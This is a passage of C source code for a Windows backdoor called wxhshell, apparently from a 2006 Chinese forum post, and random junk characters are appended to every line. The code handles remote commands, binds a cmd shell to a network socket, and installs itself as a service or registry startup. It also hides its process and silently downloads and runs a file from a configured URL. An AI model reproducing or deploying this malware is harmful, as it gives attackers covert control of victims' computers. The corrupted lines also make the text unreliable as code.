      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )(y&U  
    break; E5.)ro=$  
  } ,p0R 4gi  
  // 安装 H<"{wUPT0  
  case 'i': { O+c@B}[!  
    if(Install()) *h$Dh5%P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~^:/t<N  
    else IL`5RZi1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =|=9\3po  
    break; X+Xjf(  
    } @yqy$I   
  // 卸载 N!aV~\E  
  case 'r': { uB0/H=<H  
    if(Uninstall()) Q:lSKf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EzwYqw  
    else ;?bRRW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pT:CvJ  
    break; CQQX7Y\  
    } -7hU1j~I  
  // 显示 wxhshell 所在路径 5c`DkWne%  
  case 'p': { 8kX3.X`  
    char svExeFile[MAX_PATH]; DSD#',  
    strcpy(svExeFile,"\n\r"); { SJ=|L6  
      strcat(svExeFile,ExeFile); {PWz:\oaD  
        send(wsh,svExeFile,strlen(svExeFile),0); {b8!YbG  
    break; p~$\@8@  
    } '&'? S  
  // 重启 {FteQ@(  
  case 'b': { l&^9<th  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^s_E|~U  
    if(Boot(REBOOT)) 1DN,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>pB  
    else { YNH>^cD1  
    closesocket(wsh); YLJH?=2@  
    ExitThread(0); O"nY4  
    } LX!16a@SxA  
    break; -;_NdL@  
    } +TfMj1Zx  
  // 关机 UdT ~ h  
  case 'd': { E _/v$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y[X5S{H`wj  
    if(Boot(SHUTDOWN)) cg}46)^<QH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JIjqGxR  
    else { 84cmPnaT  
    closesocket(wsh); KSc&6UVz^  
    ExitThread(0); [}+0N GgR  
    } (S =::ODU  
    break; e}-uU7O  
    } RHz'Dz>0  
  // 获取shell ^4`q%_vm  
  case 's': { tlA4oVII  
    CmdShell(wsh); RT F9;]Ti  
    closesocket(wsh); Qf$0^$ "  
    ExitThread(0); %]nLCoQh  
    break; gPd:>$  
  } X CDHd ?Ld  
  // 退出 P (_:8|E  
  case 'x': { (IAl$IP63s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pIqPIuy  
    CloseIt(wsh); I,l%6oPa  
    break; k9w<0h3  
    } Q{0-pHr}  
  // 离开 |&o1i~Y  
  case 'q': { LrsP4G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B@63=a*kG  
    closesocket(wsh); L`V6\Ix(I  
    WSACleanup(); u> %r(  
    exit(1); EJNj.c-#  
    break; Z>7Oez>  
        }  bXQ(6P  
  } pW:U|m1dS  
  } v7\~OOoH]  
Ni(D[?mZ  
  // 提示信息 ~g;(` g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bb}JyT  
} s<sqO,!  
  } 1Yz1/gFj  
;TEZD70r  
  return; RIC'JLWQ  
} &dbX>u q  
6(ju!pE`  
// shell模块句柄 /7h}_zs6  
int CmdShell(SOCKET sock) n 'ZlIh  
{ c5mv4 MC  
STARTUPINFO si; &pZ]F=.r+  
ZeroMemory(&si,sizeof(si)); Zdr +{-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q^Y>T&Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X`.4byqdK  
PROCESS_INFORMATION ProcessInfo; < ;Qle  
char cmdline[]="cmd"; BaR9X ?~O$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Uc\ Ajx  
  return 0; q~;P^i<Y  
} @Ys(j$U't  
Rdwr?:y(]  
// 自身启动模式 &rq7;X  
int StartFromService(void) r&o%n5B  
{ OJbY\U  
typedef struct UDt.w82  
{ [ }jSx]  
  DWORD ExitStatus; :>Z0Kb}7  
  DWORD PebBaseAddress; qV/"30,K  
  DWORD AffinityMask; *xkbKkm  
  DWORD BasePriority; {S~2m2up0L  
  ULONG UniqueProcessId; [77]0V7  
  ULONG InheritedFromUniqueProcessId; =uKK{\+|Y  
}   PROCESS_BASIC_INFORMATION; o-("S|A-  
Lyt6DvAp"  
PROCNTQSIP NtQueryInformationProcess; XFG]%y=/6  
\%mR*J+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K%2,z3ps  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -x:Wp*,  
(|(Y;%>-v  
  HANDLE             hProcess; 4AZlr*U  
  PROCESS_BASIC_INFORMATION pbi; _@F4s   
%vxd($Ti"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P]yER9'  
  if(NULL == hInst ) return 0; I]~xs0$4#  
xZGR<+t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3P^eD:) w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D7sw;{ns  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #U"\v7C{n  
[9'5+RXw3  
  if (!NtQueryInformationProcess) return 0; e}(. u1  
bsP:tFw>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q>]v~  
  if(!hProcess) return 0; A!Xn^U*p  
w{I60|C]*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?mG ?N(t/h  
MCz +l0  
  CloseHandle(hProcess); |os2@G$  
YRW<n9=3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dWI/X  
if(hProcess==NULL) return 0; Vn=J$Uv0  
)Qw|)='-  
HMODULE hMod; P)(Ly5$*  
char procName[255]; kki]6_/n  
unsigned long cbNeeded; V [[B~Rs  
:bLGDEC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k(u W( 6  
+&(sZFW5o  
  CloseHandle(hProcess); ndF Kw  
sBwkHsDD  
if(strstr(procName,"services")) return 1; // 以服务启动 `9zP{p  
~uzu*7U  
  return 0; // 注册表启动 "O9uz$  
} gl2~6"dc  
:_)Xe*O  
// 主模块 zT!JHG  
int StartWxhshell(LPSTR lpCmdLine) dH#o11[  
{ Q1buuF#CU&  
  SOCKET wsl; B7?784{x,  
BOOL val=TRUE; V9B $_j4  
  int port=0; 6l:CDPhR  
  struct sockaddr_in door; \DeZY97p%  
tnRq?  
  if(wscfg.ws_autoins) Install(); T(J&v|FK  
gbXzD`WQ  
port=atoi(lpCmdLine); BCsW03sQ  
F'pD_d9]e  
if(port<=0) port=wscfg.ws_port; _$i9Tk  
EBK\.[  
  WSADATA data; R0oP##]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @>X."QbE  
&EA4`p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )o AK)e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pf] sL/g  
  door.sin_family = AF_INET; Kc{fT^E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m"H9C-Y  
  door.sin_port = htons(port); Xa9G;J$  
+~w '?vNc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q? W]g%:)  
closesocket(wsl); ={#r/x  
return 1; ApU5,R0  
} owmA]f  
l~F,i n.  
  if(listen(wsl,2) == INVALID_SOCKET) { 0fi+tc 30  
closesocket(wsl); !. q*bY  
return 1; s7a\L=#p(  
} DX4 95<6*  
  Wxhshell(wsl); = 1`  
  WSACleanup(); k9yA#  
O?8G  
return 0; xV<NeU  
MttVgNV  
} <aL$d7  
X@|  
// 以NT服务方式启动 ro^Y$;G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bG2 !5m4L  
{ 7v%~^l7:x  
DWORD   status = 0; "b-6kM  
  DWORD   specificError = 0xfffffff; R:^GNra;  
l}:9)nXA{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~[ve?51  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cJi5\<b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EG<K[t  
  serviceStatus.dwWin32ExitCode     = 0; pm3?  
  serviceStatus.dwServiceSpecificExitCode = 0; ;}^Pfm8  
  serviceStatus.dwCheckPoint       = 0; J~n{gT<L  
  serviceStatus.dwWaitHint       = 0; 'T+3tGCy+  
P(A%z2Ql  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NrS1y"#d9  
  if (hServiceStatusHandle==0) return; 3YA !2  
urXM}^  
status = GetLastError(); ?\ho9nyK  
  if (status!=NO_ERROR) |W\CV0L2  
{ Vj~R6   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I-fs*yzj;8  
    serviceStatus.dwCheckPoint       = 0; zx;x@";p  
    serviceStatus.dwWaitHint       = 0; i1|-  
    serviceStatus.dwWin32ExitCode     = status; X} 8rrC=  
    serviceStatus.dwServiceSpecificExitCode = specificError; QFDjsd4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `9b D%M  
    return; "F)7!e  
  } IE'OK  
1wGd5>GDA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ao?H.=#y  
  serviceStatus.dwCheckPoint       = 0; V `@@ufU}  
  serviceStatus.dwWaitHint       = 0; J^0co1Y0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <t]i' D(K  
} o?/N4$&5l  
- DL/Hk_r  
// 处理NT服务事件,比如:启动、停止 GW.s\8w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "+saI@G  
{ Gh42qar`  
switch(fdwControl) }JrM!'  
{ >{npg2  
case SERVICE_CONTROL_STOP: OO53U=NU  
  serviceStatus.dwWin32ExitCode = 0;  {l_R0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B\Rq0N]' M  
  serviceStatus.dwCheckPoint   = 0; RQ}x7< /{  
  serviceStatus.dwWaitHint     = 0; !Bu<6  
  { ROQk^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %oC]Rpdu  
  } /Hx%gKU  
  return; SQa.xLU  
case SERVICE_CONTROL_PAUSE: kwZC 3p\\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1sn!!  
  break; Y5PIR9-  
case SERVICE_CONTROL_CONTINUE: _RY<-B   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7d'4"c;*;  
  break; }6m5MH$7q  
case SERVICE_CONTROL_INTERROGATE: 9I30ULm  
  break; K& 2p<\2  
}; =NyzX&H6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AvP*p{we  
} sR?_{rQ  
HmRwh  
// 标准应用程序主函数 nV"[WngN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /KlA7MH6  
{ %>5Ht e<  
P]r"E  
// 获取操作系统版本 k= nfo-h  
OsIsNt=GetOsVer(); #BlH)Cv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,MOB+i(3*u  
~~ )&? \N  
  // 从命令行安装 BQ_\8Qt|  
  if(strpbrk(lpCmdLine,"iI")) Install(); HRx#}hN?+  
Me5umA  
  // 下载执行文件 6sB!m|zm]:  
if(wscfg.ws_downexe) { *M- .Vor?R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z2*hQ`eE  
  WinExec(wscfg.ws_filenam,SW_HIDE); G9Azd^3  
} ,<pql!B-  
PX2Ejrwj  
if(!OsIsNt) { 69yTGUG3  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ob0=ZW`+&  
HideProc(); If!0w ;h  
StartWxhshell(lpCmdLine); >fs-_>1d  
} _mXq]r0  
else Ra~n:$tg2  
  if(StartFromService()) e/@udau  
  // 以服务方式启动 YF&SH)Y7  
  StartServiceCtrlDispatcher(DispatchTable); <uv{/L b  
else T']*h8  
  // 普通方式启动 >+,1@R  
  StartWxhshell(lpCmdLine); VFA1p)n  
Hvor{o5|tB  
return 0; :CK,(?t  
}
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只看该作者 1 发表于: 2006-10-10
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